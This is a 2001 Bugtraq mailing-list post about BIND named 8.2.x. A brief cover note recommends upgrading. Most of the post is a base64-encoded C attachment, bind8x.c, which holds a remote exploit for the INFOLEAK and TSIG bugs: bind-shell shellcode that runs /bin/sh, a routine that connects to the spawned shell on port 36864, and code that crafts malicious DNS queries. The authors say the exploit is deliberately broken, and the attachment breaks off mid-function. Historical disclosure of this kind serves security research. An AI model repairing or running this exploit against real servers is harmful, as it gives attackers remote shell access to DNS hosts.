|
Date: Sun, 4 Feb 2001 20:34:33 +0200 From: Lucian Hudin <luci@WARP.TRANSART.RO> To: BUGTRAQ@SECURITYFOCUS.COM Subject: real named 8.2.x exploit [broken] This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---423515664-539257130-981311673=:19073 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello, bugtraq readers, Ix & me decided to post this exploit for recently discovered bugs in named. This exploit is pretty much broken, because of the impact it might have. Due to sufficient information available on the net (about the TSIG bug, and about the IQUERY INFOLEAK bug), anyone should be able to write that. It is strongly recommended that you upgrade your named to the latest version available on ISC's ftp site (ftp://ftp.isc.org/isc/bind). Regards, Ix, LucySoft ---423515664-539257130-981311673=:19073 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="bind8x.c" Content-Transfer-Encoding: BASE64 Content-ID: <Pine.LNX.4.30.0102042034330.19073@warp.transart.ro> Content-Description: Content-Disposition: attachment; filename="bind8x.c" LyogDQogKiBsYW1lIG5hbWVkIDguMi54IHJlbW90ZSBleHBsb2l0IGJ5IA0K ICoNCiAqICAgSXgJCVthZHJlc2FkZWZvcndhcmRAeWFob28uY29tXSAodGhl IG1hc3RlciBvZiBqbXB6KSwgDQogKiAgIGx1Y3lzb2Z0CVtsdWN5c29mdEBo b3RtYWlsLmNvbV0gKHRoZSBtYXN0ZXIgb2YgcXVlcmllcykNCiAqDQogKiB0 aGlzIGV4cGxvaXRzIHRoZSBuYW1lZCBJTkZPTEVBSyBhbmQgVFNJRyBidWcg KHNlZSBodHRwOi8vd3d3LmlzYy5vcmcvcHJvZHVjdHMvQklORC9iaW5kLXNl Y3VyaXR5Lmh0bWwpDQogKiBsaW51eCBvbmx5IHNoZWxsY29kZQ0KICogdGhp cyBpcyBvbmx5IGZvciBkZW1vIHB1cnBvc2VzLCB3ZSBhcmUgbm90IHJlc3Bv bnNhYmxlIGluIGFueSB3YXkgZm9yIHdoYXQgeW91IGRvIHdpdGggdGhpcyBj b2RlLg0KICoNCiAqIGZsYW1leiAJLSBjYW5hcmlzDQogKiBncmVldHoJLSBi bGl6emFyZCwgbmV0bWFuLg0KICogY3JlZGl0egktIGFuYXRoZW1hIDxhbmF0 aGVtYUBoYWNrLmNvLnphPiBmb3IgdGhlIG9yaWdpbmFsIHNoZWxsY29kZQ0K ICogIAkJLSBhZGRpdGlvbmFsIGNvZGUgcmlwcGVkIGZyb20gc3RhdGR4IGV4 cGxvaXQgYnkgcm9uMW4NCiAqDQogKiB3b28sIGFsbW9zdCBmb3Jnb3QuLi4g dGhpcyBleHBsb2l0IGlzIHByZXR0eSBtdWNoIGJyb2tlbiAoKzQgZXJyb3Jz KSwgYnV0IHdlIGhvcGUgeW91IGdvdCB0aGUgaWRlYS4NCiAqIGlmIHlvdSB1 bmRlcnN0YW5kIGhvdyBpdCB3b3JrcywgaXQgd29uJ3QgYmUgdG9vIGhhcmQg dG8gdW4tYnJva2UgaXQgDQogKi8NCg0KDQoNCiNpbmNsdWRlIDx1bmlzdGQu aD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0K I2luY2x1ZGUgPHNpZ25hbC5oPg0KI2luY2x1ZGUgPHRpbWUuaD4NCiNpbmNs dWRlIDxzdHJpbmcuaD4NCiNpbmNsdWRlIDxjdHlwZS5oPg0KI2luY2x1ZGUg PG5ldGRiLmg+DQojaW5jbHVkZSA8c3lzL3RpbWUuaD4NCiNpbmNsdWRlIDxz eXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+DQojaW5jbHVk ZSA8YXJwYS9pbmV0Lmg+DQojaW5jbHVkZSA8YXJwYS9uYW1lc2VyLmg+DQoN CiNkZWZpbmUgbWF4KGEsYikgKChhKT4oYik/KGEpOihiKSkNCg0KI2RlZmlu ZSBCVUZGU0laRSA0MDk2DQoNCmludCBhcmdldmRpc3AxLCBhcmdldmRpc3Ay Ow0KDQpjaGFyIHNoZWxsY29kZVtdID0NCi8qIG1haW46ICovDQoiXHhlYlx4 N2IiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBqbXAgY2Fs bHogICAgICAgICAgICAgICAqLyAvLyAyIC0gMg0KLyogc3RhcnQ6ICovDQoi XHg1ZSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBw b3BsICVlc2kgICAgICAgICAgICAgICAqLyAvLyAxIC0gMw0KDQogIC8qIHNv Y2tldCgpICovDQoiXHgyOVx4YzAiICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAvKiBzdWJsICVlYXgsICVlYXggICAgICAgICAqLyAvLyAyIC0g NQ0KIlx4ODlceDQ2XHgxMCIgICAgICAgICAgICAgICAgICAgICAgICAgICAg LyogbW92bCAlZWF4LCAweDEwKCVlc2kpICAgKi8gLy8gMyAtIDgNCiJceDQw IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIGluY2wg JWVheCAgICAgICAgICAgICAgICovIC8vIDEgLSA5DQoiXHg4OVx4YzMiICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBtb3ZsICVlYXgsICVl YnggICAgICAgICAqLyAvLyAyIC0gMTENCiJceDg5XHg0Nlx4MGMiICAgICAg ICAgICAgICAgICAgICAgICAgICAgIC8qIG1vdmwgJWVheCwgMHgwYyglZXNp KSAgICovIC8vIDMgLSAxNA0KIlx4NDAiICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgLyogaW5jbCAlZWF4ICAgICAgICAgICAgICAgKi8g Ly8gMSAtIDE1DQoiXHg4OVx4NDZceDA4IiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAvKiBtb3ZsICVlYXgsIDB4MDgoJWVzaSkgICAqLyAvLyAzIC0g MTgNCiJceDhkXHg0ZVx4MDgiICAgICAgICAgICAgICAgICAgICAgICAgICAg IC8qIGxlYWwgMHgwOCglZXNpKSwgJWVjeCAgICovIC8vIDMgLSAyMQ0KIlx4 YjBceDY2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogbW92 YiAkMHg2NiwgJWFsICAgICAgICAgKi8gLy8gMiAtIDIzDQoiXHhjZFx4ODAi ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBpbnQgJDB4ODAg ICAgICAgICAgICAgICAqLyAvLyAyIC0gMjUNCg0KICAvKiBiaW5kKCkgKi8N CiJceDQzIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8q IGluY2wgJWVieCAgICAgICAgICAgICAgICovIC8vIDEgLSAyNg0KIlx4YzZc eDQ2XHgxMFx4MTAiICAgICAgICAgICAgICAgICAgICAgICAgLyogbW92YiAk MHgxMCwgMHgxMCglZXNpKSAgKi8gLy8gNCAtIDMwDQoiXHg2Nlx4ODlceDVl XHgxNCIgICAgICAgICAgICAgICAgICAgICAgICAvKiBtb3Z3ICVieCwgMHgx NCglZXNpKSAgICAqLyAvLyA0IC0gMzQNCiJceDg4XHg0Nlx4MDgiICAgICAg ICAgICAgICAgICAgICAgICAgICAgIC8qIG1vdmIgJWFsLCAweDA4KCVlc2kp ICAgICovIC8vIDMgLSAzNw0KIlx4MjlceGMwIiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgLyogc3VibCAlZWF4LCAlZWF4ICAgICAgICAgKi8g Ly8gMiAtIDM5DQoiXHg4OVx4YzIiICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAvKiBtb3ZsICVlYXgsICVlZHggICAgICAgICAqLyAvLyAyIC0g NDENCiJceDg5XHg0Nlx4MTgiICAgICAgICAgICAgICAgICAgICAgICAgICAg IC8qIG1vdmwgJWVheCwgMHgxOCglZXNpKSAgICovIC8vIDMgLSA0NA0KIlx4 YjBceDkwIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogbW92 YiAkMHg5MCwgJWFsICAgICAgICAgKi8gLy8gMiAtIDQ2DQoiXHg2Nlx4ODlc eDQ2XHgxNiIgICAgICAgICAgICAgICAgICAgICAgICAvKiBtb3Z3ICVheCwg MHgxNiglZXNpKSAgICAqLyAvLyA0IC0gNTANCiJceDhkXHg0ZVx4MTQiICAg ICAgICAgICAgICAgICAgICAgICAgICAgIC8qIGxlYWwgMHgxNCglZXNpKSwg JWVjeCAgICovIC8vIDMgLSA1Mw0KIlx4ODlceDRlXHgwYyIgICAgICAgICAg ICAgICAgICAgICAgICAgICAgLyogbW92bCAlZWN4LCAweDBjKCVlc2kpICAg Ki8gLy8gMyAtIDU2DQoiXHg4ZFx4NGVceDA4IiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAvKiBsZWFsIDB4MDgoJWVzaSksICVlY3ggICAqLyAvLyAz IC0gNTkNCg0KIlx4YjBceDY2IiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgLyogbW92YiAkMHg2NiwgJWFsICAgICAgICAgKi8gLy8gMiAtIDYx DQoiXHhjZFx4ODAiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAv KiBpbnQgJDB4ODAgICAgICAgICAgICAgICAqLyAvLyAyIC0gMg0KDQogIC8q IGxpc3RlbigpICovDQoiXHg4OVx4NWVceDBjIiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAvKiBtb3ZsICVlYngsIDB4MGMoJWVzaSkgICAqLw0KIlx4 NDMiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogaW5j bCAlZWJ4ICAgICAgICAgICAgICAgKi8NCiJceDQzIiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIC8qIGluY2wgJWVieCAgICAgICAgICAg ICAgICovDQoiXHhiMFx4NjYiICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAvKiBtb3ZiICQweDY2LCAlYWwgICAgICAgICAqLw0KIlx4Y2RceDgw IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogaW50ICQweDgw ICAgICAgICAgICAgICAgKi8NCg0KICAvKiBhY2NlcHQoKSAqLw0KIlx4ODlc eDU2XHgwYyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogbW92bCAl ZWR4LCAweDBjKCVlc2kpICAgKi8gLy8gMyAtIDUNCiJceDg5XHg1Nlx4MTAi ICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIG1vdmwgJWVkeCwgMHgx MCglZXNpKSAgICovIC8vIDMgLSA4DQoiXHhiMFx4NjYiICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAvKiBtb3ZiICQweDY2LCAlYWwgICAgICAg ICAqLyAvLyAyIC0gMTANCiJceDQzIiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIC8qIGluY2wgJWVieCAgICAgICAgICAgICAgICovIC8v IDEgLSAxMQ0KIlx4Y2RceDgwIiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgLyogaW50ICQweDgwICAgICAgICAgICAgICAgKi8gLy8gMSAtIDEy DQoNCiAgLyogZHVwMihzLCAwKTsgZHVwMihzLCAxKTsgZHVwMihzLCAyKTsg Ki8NCiJceDg2XHhjMyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IC8qIHhjaGdiICVhbCwgJWJsICAgICAgICAgICovIC8vIDIgLSAxNA0KIlx4 YjBceDNmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogbW92 YiAkMHgzZiwgJWFsICAgICAgICAgKi8gLy8gMiAtIDE2DQoiXHgyOVx4Yzki ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBzdWJsICVlY3gs ICVlY3ggICAgICAgICAqLyAvLyAyIC0gMTgNCiJceGNkXHg4MCIgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIC8qIGludCAkMHg4MCAgICAgICAg ICAgICAgICovIC8vIDIgLSAyMA0KIlx4YjBceDNmIiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgLyogbW92YiAkMHgzZiwgJWFsICAgICAgICAg Ki8gLy8gMiAtIDIyDQoiXHg0MSIgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAvKiBpbmNsICVlY3ggICAgICAgICAgICAgICAqLyAvLyAx IC0gMjMNCiJceGNkXHg4MCIgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIC8qIGludCAkMHg4MCAgICAgICAgICAgICAgICovIC8vIDIgLSAyNQ0K Ilx4YjBceDNmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyog bW92YiAkMHgzZiwgJWFsICAgICAgICAgKi8gLy8gMiAtIDI3DQoiXHg0MSIg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBpbmNsICVl Y3ggICAgICAgICAgICAgICAqLyAvLyAxIC0gMjgNCiJceGNkXHg4MCIgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIGludCAkMHg4MCAgICAg ICAgICAgICAgICovIC8vIDIgLSAzMA0KDQogIC8qIGV4ZWN2ZSgpICovDQoi XHg4OFx4NTZceDA3IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBt b3ZiICVkbCwgMHgwNyglZXNpKSAgICAqLyAvLyAzIC0gMzMNCiJceDg5XHg3 Nlx4MGMiICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIG1vdmwgJWVz aSwgMHgwYyglZXNpKSAgICovIC8vIDMgLSAzNg0KIlx4ODdceGYzIiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogeGNoZ2wgJWVzaSwgJWVi eCAgICAgICAgKi8gLy8gMiAtIDM4DQoiXHg4ZFx4NGJceDBjIiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAvKiBsZWFsIDB4MGMoJWVieCksICVlY3gg ICAqLyAvLyAzIC0gNDENCiJceGIwXHgwYiIgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIC8qIG1vdmIgJDB4MGIsICVhbCAgICAgICAgICovIC8v IDIgLSA0NA0KIlx4Y2RceDgwIiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgLyogaW50ICQweDgwICAgICAgICAgICAgICAgKi8gLy8gMiA9IDQ2 DQoNCiJceDk5XHg5OVx4OTlceDk5XHg5OVx4OTlceDk5Ig0KDQovKiBjYWxs ejogKi8NCiJceGU4XHg3MFx4ZmZceGZmXHhmZiIgICAgICAgICAgICAgICAg ICAgIC8qIGNhbGwgc3RhcnQgICAgICAgICAgICAgICovIC8vIDUgLSA1MQ0K Ii9iaW4vc2hcMCI7CQkJCQkJCQkJCQkJCQkgICAgLy8gOCAtIDU5DQoNCnVu c2lnbmVkIGxvbmcgcmVzb2x2ZV9ob3N0KGNoYXIqIGhvc3QpDQp7DQoJbG9u ZyByZXM7DQoJc3RydWN0IGhvc3RlbnQqIGhlOw0KDQoJaWYgKDAgPiAocmVz ID0gaW5ldF9hZGRyKGhvc3QpKSkNCgl7DQoJCWlmICghKGhlID0gZ2V0aG9z dGJ5bmFtZShob3N0KSkpDQoJCQlyZXR1cm4oMCk7DQoJCXJlcyA9ICoodW5z aWduZWQgbG9uZyopaGUtPmhfYWRkcjsNCgl9DQoJcmV0dXJuKHJlcyk7DQp9 DQoNCnZvaWQNCnJ1bnNoZWxsKGludCBzb2NrZCkNCnsNCiAgICBjaGFyIGJ1 ZmZbMTAyNF07DQogICAgaW50IGZtYXgsIHJldDsNCiAgICBmZF9zZXQgZmRz Ow0KDQogICAgZm1heCA9IG1heChmaWxlbm8oc3RkaW4pLCBzb2NrZCkgKyAx Ow0KICAgIHNlbmQoc29ja2QsICJ1bmFtZSAtYTsgaWQ7XG4iLCAxNSwgMCk7 DQoNCiAgICBmb3IoOzspDQogICAgew0KDQogICAgICAgIEZEX1pFUk8oJmZk cyk7DQogICAgICAgIEZEX1NFVChmaWxlbm8oc3RkaW4pLCAmZmRzKTsNCiAg ICAgICAgRkRfU0VUKHNvY2tkLCAmZmRzKTsNCg0KICAgICAgICBpZihzZWxl Y3QoZm1heCwgJmZkcywgTlVMTCwgTlVMTCwgTlVMTCkgPCAwKQ0KICAgICAg ICB7DQogICAgICAgICAgICBleGl0KEVYSVRfRkFJTFVSRSk7DQogICAgICAg IH0NCg0KICAgICAgICBpZihGRF9JU1NFVChzb2NrZCwgJmZkcykpDQogICAg ICAgIHsNCiAgICAgICAgICAgIGJ6ZXJvKGJ1ZmYsIHNpemVvZiBidWZmKTsN CiAgICAgICAgICAgIGlmKChyZXQgPSByZWN2KHNvY2tkLCBidWZmLCBzaXpl b2YgYnVmZiwgMCkpIDwgMCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAg ICAgICBleGl0KEVYSVRfRkFJTFVSRSk7DQogICAgICAgICAgICB9DQogICAg ICAgICAgICBpZighcmV0KQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAg ICAgIGZwcmludGYoc3RkZXJyLCAiQ29ubmVjdGlvbiBjbG9zZWRcbiIpOw0K ICAgICAgICAgICAgICAgIGV4aXQoRVhJVF9GQUlMVVJFKTsNCiAgICAgICAg ICAgIH0NCiAgICAgICAgICAgIHdyaXRlKGZpbGVubyhzdGRvdXQpLCBidWZm LCByZXQpOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYoRkRfSVNTRVQoZmls ZW5vKHN0ZGluKSwgJmZkcykpDQogICAgICAgIHsNCiAgICAgICAgICAgIGJ6 ZXJvKGJ1ZmYsIHNpemVvZiBidWZmKTsNCiAgICAgICAgICAgIHJldCA9IHJl YWQoZmlsZW5vKHN0ZGluKSwgYnVmZiwgc2l6ZW9mIGJ1ZmYpOw0KICAgICAg ICAgICAgaWYoc2VuZChzb2NrZCwgYnVmZiwgcmV0LCAwKSAhPSByZXQpDQog ICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZnByaW50ZihzdGRlcnIs ICJUcmFuc21pc3Npb24gbG9zc1xuIik7DQogICAgICAgICAgICAgICAgZXhp dChFWElUX0ZBSUxVUkUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQog ICAgfQ0KfQ0KDQoNCmNvbm5lY3Rpb24oc3RydWN0IHNvY2thZGRyX2luIGhv c3QpDQp7DQoJaW50IHNvY2tkOw0KDQoJaG9zdC5zaW5fcG9ydCA9IGh0b25z KDM2ODY0KTsNCg0KCXByaW50ZigiY29ubmVjdGluZy4uXG4iKTsNCgl1c2xl ZXAoMjAwMCk7DQoNCglpZigoc29ja2QgPSBzb2NrZXQoQUZfSU5FVCwgU09D S19TVFJFQU0sIElQUFJPVE9fVENQKSkgPCAwKQ0KCXsNCgkJZXhpdChFWElU X0ZBSUxVUkUpOw0KCX0NCg0KCWlmKGNvbm5lY3Qoc29ja2QsIChzdHJ1Y3Qg c29ja2FkZHIgKikgJmhvc3QsIHNpemVvZiBob3N0KSAhPSAtMSkNCgl7DQoJ CXByaW50Zigid2FpdCBmb3IgeW91ciBzaGVsbC4uXG4iKTsNCgkJdXNsZWVw KDUwMCk7DQoJICAgICAgICBydW5zaGVsbChzb2NrZCk7DQoJfQ0KCWVsc2UN Cgl7DQoJCXByaW50ZigiZXJyb3I6IG5hbWVkIG5vdCB2dWxlcmFibGUgb3Ig d3Jvbmcgb2Zmc2V0cyB1c2VkXG4iKTsNCgl9DQoNCgljbG9zZShzb2NrZCk7 DQp9DQoNCg0KDQoNCmludCBpbmZvbGVha19xcnkoY2hhciogYnVmZikNCnsN CiAgICAgICAgSEVBREVSKiBoZHI7DQogICAgICAgIGludCBuLCBrOw0KICAg ICAgICBjaGFyKiBwdHI7DQogICAgICAgIGludCBxcnlfc3BhY2UgPSAxMjsN CiAgICAgICAgaW50IGR1bW15X25hbWVzID0gNzsNCiAgICAgICAgaW50IGV2 aWxfc2l6ZSA9IGh0b25zKDB4ZmYpOw0KICAgICAgICANCiAgICAgICAgbWVt c2V0KGJ1ZmYsIDAsIEJVRkZTSVpFKTsNCiAgICAgICAgaGRyID0gKEhFQURF UiopYnVmZjsNCg0KICAgICAgICBoZHItPmlkID0gaHRvbnMoMHhiZWVmKTsN CiAgICAgICAgaGRyLT5vcGNvZGUgID0gSVFVRVJZOw0KICAgICAgICBoZHIt PnJkICAgICAgPSAxOw0KICAgICAgICBoZHItPnJhICAgICAgPSAxOw0KICAg ICAgICBoZHItPnFkY291bnQgPSBodG9ucygwKTsNCiAgICAgICAgaGRyLT5u c2NvdW50ID0gaHRvbnMoMCk7DQogICAgICAgIGhkci0+YW5jb3VudCA9IGh0 b25zKDEpOw0KICAgICAgICBoZHItPmFyY291bnQgPSBodG9ucygwKTsNCiAg ICAgICAgDQoNCglwdHIgPSBidWZmICsgc2l6ZW9mKEhFQURFUik7ICAgICAg ICANCgkNCgluID0gNjI7DQoJDQoJZm9yIChrID0gMDsgayA8IGR1bW15X25h bWVzOyBrKyspDQoJew0KCQkqcHRyKysgPSBuOw0KCQlwdHIgKz0gbjsNCgkJ DQoJfQ0KDQogICAgICAgIFBVVFNIT1JUKGh0b25zKDEvKm5zX3RfYSovKSwg cHRyKTsgICAgICAgICAgICAgIC8qIHR5cGUgKi8NCiAgICAgICAgUFVUU0hP UlQoaHRvbnMoVF9BKSwgcHRyKTsgICAgICAgICAgICAgICAgICAgICAgLyog Y2xhc3MgKi8NCiAgICAgICAgUFVUTE9ORyhodG9ucygxKSwgcHRyKTsgICAg ICAgICAgICAgICAgCQkvKiB0dGwgKi8NCiAgICAgICAgICAgICAgICAgICAg ICAgDQoJUFVUU0hPUlQoZXZpbF9zaXplLCBwdHIpOwkJCS8qIG91ciAqZXZp bCogc2l6ZSAqLw0KCQ0KCXJldHVybihwdHIgLSBidWZmICsgcXJ5X3NwYWNl KTsNCgkNCn0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCmlu dCBldmlsX3F1ZXJ5KGNoYXIqIGJ1ZmYsIGludCBvZmZzZXQpDQp7DQoJaW50 IGxhbWVhZGRyLCBzaGVsbGFkZHIsIHJyb2Zmc2V0aWR4LCBycnNoZWxsaWR4 LCBkZXBsc2hlbGxjb2RlLCBvZmZzZXQwOw0KCUhFQURFUiogaGRyOw0KCWNo YXIgKnB0cjsNCglpbnQgaywgYnVmZmxlbjsNCgl1X2ludCBuLCBtOw0KCXVf c2hvcnQgczsNCglpbnQgaTsNCglpbnQgc2hlbGxvZmYsIHNoZWxsc3RhcnRl ZDsNCglpbnQgdG93cml0ZSwgb3VycGFjazsNCglpbnQgbl9kdW1teV9ycnMg PSA3Ow0KDQoJc2hlbGxhZGRyID0gb2Zmc2V0IC0gMHgyMDA7DQoNCiAgICAg ICAgbGFtZWFkZHIgID0gc2hlbGxhZGRyICsgMHgzMDA7DQoJDQoJb3VycGFj ayA9IG9mZnNldCAtIDB4MjUwICsgMjsNCgl0b3dyaXRlID0gKG9mZnNldCAm IH4weGZmKSAtIG91cnBhY2sgLSA2Ow0KDQoJcnJvZmZzZXRpZHggPSB0b3dy aXRlIC8gNzA7DQoJb2Zmc2V0MCA9IHRvd3JpdGUgLSBycm9mZnNldGlkeCAq IDcwOw0KDQoJaWYgKChvZmZzZXQwID4gNTIpIHx8IChycm9mZnNldGlkeCA+ IDYpKQ0KCXsNCgkJcHJpbnRmKCJjb3VsZCBub3Qgd3JpdGUgb3VyIGRhdGEg aW4gYnVmZmVyXG4iKTsNCgkJcmV0dXJuKC0xKTsNCgl9DQoJCQ0KCXJyc2hl bGxpZHggPSAxOw0KCWRlcGxzaGVsbGNvZGUgPSAyOw0KCQ0KCWhkciA9IChI RUFERVIqKWJ1ZmY7DQoJDQoJbWVtc2V0KGJ1ZmYsIDAsIEJVRkZTSVpFKTsN CgkNCgkvKiBjb21wbGV0ZSB0aGUgaGVhZGVyICovDQoJDQoJaGRyLT5pZCA9 IGh0b25zKDB4ZGVhZCk7DQoJaGRyLT5vcGNvZGUgID0gUVVFUlk7DQoJaGRy LT5yZCAgICAgID0gMTsNCgloZHItPnJhICAgICAgPSAxOw0KCWhkci0+cWRj b3VudCA9IGh0b25zKG5fZHVtbXlfcnJzKTsNCgloZHItPmFuY291bnQgPSBo dG9ucygwKTsNCgloZHItPmFyY291bnQgPSBodG9ucygxKTsNCgkNCglwdHIg PSBidWZmICsgc2l6ZW9mKEhFQURFUik7DQoJDQoJc2hlbGxzdGFydGVkID0g MDsNCglzaGVsbG9mZiA9IDA7DQoJDQoJbiA9IDYzOw0KCWZvciAoayA9IDA7 IGsgPCBuX2R1bW15X3JyczsgaysrKQ0KCXsNCgkJKnB0cisrID0gKGNoYXIp bjsNCgkJDQoJCWZvcihpID0gMDsgaSA8IG4tMjsgaSsrKQ0KCQl7DQoJCQlp ZigoayA9PSBycnNoZWxsaWR4KSAmJiAoaSA9PSBkZXBsc2hlbGxjb2RlKSAm JiAhc2hlbGxzdGFydGVkKQ0KCQkJew0KCQkJCXByaW50ZigiKiBpbmplY3Rp bmcgc2hlbGxjb2RlXG4iLCBrKTsNCgkJCQlzaGVsbHN0YXJ0ZWQgPSAxOw0K CQkJfQ0KCQkNCgkJCWlmICgoayA9PSBycm9mZnNldGlkeCkgJiYgKGkgPT0g b2Zmc2V0MCArIDApKQ0KCQkJew0KCQkJCSpwdHIrKyA9IGxhbWVhZGRyICYg MHgwMDAwMDBmZjsNCgkJCQlpKys7DQoJCQkJKnB0cisrID0gKGxhbWVhZGRy ICYgMHgwMDAwZmYwMCkgPj4gODsNCgkJCQlpKys7DQoJCQkJKnB0cisrID0g KGxhbWVhZGRyICYgMHgwMGZmMDAwMCkgPj4gMTY7DQoJCQkJaSsrOw0KCQkJ CSpwdHIrKyA9IChsYW1lYWRkciAmIDB4ZmYwMDAwMDApID4+IDI0Ow0KCQkJ fQ0KCQkJZWxzZSBpZiAoKGsgPT0gcnJvZmZzZXRpZHgpICYmIChpID09IG9m ZnNldDAgKyA4KSkNCgkJCXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgKnB0cisrID0gYXJnZXZkaXNwMSAmIDB4MDAwMDAwZmY7DQogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGkrKzsNCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgKnB0cisrID0gKGFyZ2V2ZGlzcDEgJiAw eDAwMDBmZjAwKSA+PiA4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICBpKys7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICpw dHIrKyA9IChhcmdldmRpc3AxICYgMHgwMGZmMDAwMCkgPj4gMTY7DQogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGkrKzsNCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgKnB0cisrID0gKGFyZ2V2ZGlzcDEgJiAw eGZmMDAwMDAwKSA+PiAyNDsNCgkJCQlpKys7DQogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICpwdHIrKyA9IGFyZ2V2ZGlzcDIgJiAweDAwMDAw MGZmOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpKys7DQog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICpwdHIrKyA9IChhcmdl dmRpc3AyICYgMHgwMDAwZmYwMCkgPj4gODsNCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgaSsrOw0KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAqcHRyKysgPSAoYXJnZXZkaXNwMiAmIDB4MDBmZjAwMDApID4+ IDE2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpKys7DQog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICpwdHIrKyA9IChhcmdl dmRpc3AyICYgMHhmZjAwMDAwMCkgPj4gMjQ7DQoJCQl9IGVsc2UNCgkJCWlm ICgoayA9PSBycm9mZnNldGlkeCkgJiYgKGkgPT0gb2Zmc2V0MCArIDQpKQ0K CQkJew0KCQkJCSpwdHIrKyA9IHNoZWxsYWRkciAmIDB4MDAwMDAwZmY7DQoJ CQkJaSsrOw0KCQkJCSpwdHIrKyA9IChzaGVsbGFkZHIgJiAweDAwMDBmZjAw KSA+PiA4Ow0KCQkJCWkrKzsNCgkJCQkqcHRyKysgPSAoc2hlbGxhZGRyICYg MHgwMGZmMDAwMCkgPj4gMTY7DQoJCQkJaSsrOw0KCQkJCSpwdHIrKyA9IChz aGVsbGFkZHIgJiAweGZmMDAwMDAwKSA+PiAyNDsNCgkJCX0NCgkJCWVsc2UN CgkJCXsNCgkJCQlpZiAoc2hlbGxzdGFydGVkKQ0KCQkJCXsNCgkJCQkJKnB0 cisrID0gc2hlbGxjb2RlW3NoZWxsb2ZmKytdOwkNCgkJCQl9DQoJCQkJZWxz ZQ0KCQkJCXsNCgkJCQkJKnB0cisrID0gaTsNCgkJCQl9DQoJCQl9DQoJCX0N CgkJDQoJCSpwdHIrKyA9IDB4OTA7IA0KCQkNCgkJaWYgKGsgPT0gMCkNCgkJ ew0KCQkJKnB0cisrID0gMHgwOTsNCgkJCQ0KCQkJbSA9IDI7DQoJCQkNCgkJ CSpwdHIrKyA9IChjaGFyKW07DQoJCQlmb3IoaSA9IDA7IGkgPCBtOyBpKysp DQoJCQl7DQoJCQkJKnB0cisrID0gaTsNCgkJCX0NCgkJfQ0KCQllbHNlDQoJ CXsNCgkJCSpwdHIrKyA9IDB4MDc7DQoJCX0NCgkJDQoJCSpwdHIrKyA9IDB4 YzA7IC8qTlNfQ01QUlNGTEdTKi8NCgkJDQoJCXB0ciArPSA1Ow0KCX0NCgkN 